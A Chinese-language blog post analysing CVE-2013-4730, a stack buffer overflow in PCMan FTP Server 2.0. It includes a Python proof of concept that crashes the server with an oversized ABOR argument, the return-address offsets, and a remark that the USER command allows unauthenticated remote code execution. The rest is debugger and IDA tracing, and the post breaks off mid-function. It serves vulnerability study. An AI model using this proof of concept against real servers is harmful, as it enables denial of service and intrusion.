简要介绍
这个软件是台湾国立阳明大学医学系的一个学生在大四的时候写的,这个漏洞是有CVE的(CVE-2013-4730),软件应该还挺普及的,这是一个缓冲区溢出漏洞
具体exp可以点这里
实验用poc(其实这里直接对USER命令溢出都是可以的,即不用知道账号密码即可远程代码执行,USER命令的buf距离返回地址是2000)
import socket as s
from sys import argv
#
if(len(argv) != 4):
print "USAGE: %s host <user> <password>" % argv[0]
exit(1)
else:
#store command line arguments
script,host,fuser,fpass=argv
sploit = "A" * 2008
#create socket
conn = s.socket(s.AF_INET,s.SOCK_STREAM)
#establish connection to server
conn.connect((host,21))
#post ftp user
conn.send('USER '+fuser+'\r\n')
#wait for response
uf = conn.recv(1024)
#post ftp password
conn.send('PASS '+fpass+'\r\n')
#wait for response
pf = conn.recv(1024)
#send ftp command with sploit
conn.send('ABOR '+sploit+'\r\n')
cf = conn.recv(1024)
#close connection
conn.close()
实验环境
WinXP sp3 中文版
PCMan FTP Server 2.0
immunity debugger
windbg
mona
漏洞分析
如果我们在xp运行作者的exp就会出现
"0x41414141"指令引用的"0x41414141"内存.该内存不能为"read"
我们分析可以从下面几个方面入手
1. 通过栈回溯,找到漏洞发生前的函数调用,借助ida分析即可(这个需要通过计算buffer距离返回地址的个数,使用适当的payload,不然会覆盖之前的函数调用)
2. 基于污点追踪的分析方法
3. 由于这是个ftp程序,会接收用户输入的命令及参数,应该会调用recv函数,我们可以在recv函数下断点,一步步看看到哪个函数崩溃了
基于栈回溯的分析方法
首先我们要定位返回地址
!mona pattern_create 2020
运行后我们看到了返回地址覆盖成了0x43386f43
!mona pattern_offset 0x43386f43
算到是2004,即2005 - 2008就是返回地址位置
那我们发2008个A过去吧
windbg附加,运行,发送payload,但还是看不到之前的函数调用
0:002> g
(f40.f48): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00000000 edx=0000000c esi=0012edc4 edi=00000004
eip=41414141 esp=0012edb8 ebp=00aa17a0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
41414141 ?? ???
0:000> kv
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012edb4 00000000 00000000 00000001 524f4241 0x41414141
既然这样的话,我们就基于污点(其实通过od或者直接dd esp可以判断出来一些返回地址的)
基于污点追踪的分析方法
我们看看崩溃后的栈前后,前面的0x41应该是复制后的0x41,后面的0x41应该是用户端传过来保存在栈上的
0:000> dd esp -20
0012ed98 41414141 41414141 41414141 41414141
0012eda8 41414141 41414141 41414141 00000a0d
0012edb8 00000402 00000000 00000001 524f4241
0012edc8 41414120 41414141 41414141 41414141
0012edd8 41414141 41414141 41414141 41414141
0012ede8 41414141 41414141 41414141 41414141
0012edf8 41414141 41414141 41414141 41414141
0012ee08 41414141 41414141 41414141 41414141
那我们尝试在0012ed98 这个地址下写入断点,当然你在0012edb4之前有0x41的地址下都可以
0:000> ba w4 0012ed98 ".if(poi(0012ed98)==0x41414141){}.else{gc}"
0:000> bl
0 e 0012ed98 w 4 0001 (0001) 0:**** ".if(poi(0012ed98)==0x41414141){}.else{gc}"
0:000> g
*** WARNING: Unable to verify checksum for E:\PCManFTP\PCManFTPD2.exe
*** ERROR: Module load completed but symbols could not be loaded for E:\PCManFTP\PCManFTPD2.exe
eax=00000041 ebx=00000018 ecx=0012e544 edx=0012ed9b esi=0012f589 edi=0012e518
eip=004173af esp=0012e2a4 ebp=0012e2a4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
PCManFTPD2+0x173af:
004173af ff01 inc dword ptr [ecx] ds:0023:0012e544=0012ed9b
我们再看看汇编窗口,就是这条语句的复制的0x41
004173ad 8802 mov byte ptr [edx],al
用ida看看
int __cdecl write_char(int a1, FILE *a2, int a3)
{
bool v3; // sf@1
int v4; // eax@2
bool v5; // zf@4
int result; // eax@4
v3 = a2->_cnt-- - 1 < 0;
if ( v3 )
{
v4 = _flsbuf(a1, a2);
}
else
{
*a2->_ptr++ = a1; // 这里复制0x41到栈上
v4 = (unsigned __int8)a1;
}
......
}
我们看看此时的栈
0:000> kv
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012e2a4 00417428 00000041 0012e544 0012e518 PCManFTPD2+0x173af
0012e52c 00412ced 0012e544 004416f6 0012e594 PCManFTPD2+0x17428
0012e564 00403eeb 0012e5b0 004416d4 000007e1 PCManFTPD2+0x12ced
0012e568 0012e5b0 004416d4 000007e1 00000003 PCManFTPD2+0x3eeb
0012e56c 004416d4 000007e1 00000003 0000001a 0x12e5b0
0012e5b0 322f332f 325b2036 37313a30 3028205d PCManFTPD2+0x416d4
我们看到第一行返回地址00417428
,通过ida看是在write_string函数内,再看看再上一层的返回地址00412ced
,是在sprintf函数内(有种成功的预感),继续看上一层返回地址00403eeb
,我们看看这个地址所在函数
struct CWinThread *__thiscall sub_403E60(_DWORD *this, _BYTE *a2)
{
......
v2 = this;
if ( dword_443540 || (result = (struct CWinThread *)dword_443548) != 0 )
{
GetLocalTime(&SystemTime);
v4 = v2[9];